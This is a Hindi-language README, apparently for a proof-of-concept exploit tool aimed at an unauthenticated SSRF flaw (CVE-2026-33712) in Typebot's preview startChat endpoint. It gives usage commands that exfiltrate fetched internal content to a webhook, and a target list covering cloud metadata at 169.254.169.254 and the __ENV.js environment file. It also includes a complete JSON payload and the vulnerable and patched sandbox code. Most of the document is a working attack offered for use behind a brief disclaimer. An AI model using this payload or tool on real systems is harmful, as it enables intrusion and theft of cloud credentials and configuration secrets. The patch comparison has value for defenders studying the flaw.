
CVE-2026-33712 - Typebot <= 3.15.2 में isolated-vm सैंडबॉक्स fetch के माध्यम से बिना प्रमाणीकरण वाला SSRF
Typebot <= 3.15.2 (3.16.0 में ठीक किया गया) में preview chat endpoint में एक बिना प्रमाणीकरण वाली Server-Side Request Forgery (SSRF) भेद्यता मौजूद है।
Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat
preview endpoint उपयोगकर्ता द्वारा प्रदान की गई typebot परिभाषा को server-side Code ब्लॉक्स के साथ स्वीकार करता है। isolated-vm सैंडबॉक्स के अंदर उजागर किया गया fetch() फ़ंक्शन Node.js native fetch को बिना validateHttpReqUrl() SSRF सत्यापन के कॉल करता है, जो नियमित HTTP Request ब्लॉक की सुरक्षा करता है। यह सभी SSRF शमन को बायपास कर देता है।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।
__ENV.js के माध्यम से SMTP_FROM / एडमिन ईमेल का खुलासा| File | Description |
|---|---|
exploit.py | मुख्य exploit स्क्रिप्ट |
endpoints.txt | प्रति पंक्ति एक URL — स्कैन करने हेतु SSRF लक्ष्य |
requirements.txt | Python निर्भरताएँ |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com बिना http:// के देते हैं, तो यह स्वचालित रूप से जोड़ दिया जाता है।vulnerable, patched (auth आवश्यक), या endpoint_missing (गलत URL/version) के रूप में वर्गीकृत करती है। जब तक --force सेट न हो, विफलता पर पहले ही बाहर निकल जाती है।endpoints.txt पढ़ता है, प्रत्येक URL को iterate करता है, सामग्री को webhook पर exfiltrate करता है।प्रति पंक्ति एक कच्चा URL। खाली पंक्तियों को अनदेखा किया जाता है। कोई टिप्पणी नहीं, कोई श्रेणी नहीं।
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
packages/variables/src/executeFunction.ts में, isolated-vm सैंडबॉक्स के अंदर उजागर किया गया fetch() मूल रूप से SSRF सत्यापन के बिना Node.js native fetch को कॉल करता था:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
फिक्स (commit d96f572) ने getTypebot() में जाँचों का क्रम भी बदल दिया, ताकि auth सत्यापन कस्टम typebot शॉर्टकट से पहले चले, और viewer के preview endpoint को procedureWithOptionalUser से protectedProcedure में स्थानांतरित कर दिया।
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
महत्वपूर्ण: सैंडबॉक्स के अंदर fetch() पहले से ही .text() लौटाता है, इसलिए परिणाम एक string होता है, Response ऑब्जेक्ट नहीं।
| Arg | Description |
|---|
-t / --target | Typebot इंस्टेंस URL (viewer या builder)। Scheme डिफ़ॉल्ट रूप से http:// होता है |
-u / --url | SSRF के माध्यम से fetch करने हेतु आंतरिक URL (एकल मोड) |
-w / --webhook | बाहर निकाले गए डेटा के लिए Webhook URL (या WEBHOOK_URL env var) |
--scan | endpoints.txt से सभी URLs स्कैन करें |
--detect-viewer | NEXT_PUBLIC_VIEWER_URL खोजने हेतु target पर /__ENV.js की जाँच करें और उसका उपयोग करें |
--force | Pre-flight जाँचों को छोड़ें और निष्पादन को बाध्य करें |
--timeout | अनुरोध समय-सीमा (डिफ़ॉल्ट: 20s) |
--delay | स्कैन अनुरोधों के बीच देरी (डिफ़ॉल्ट: 0.3s) |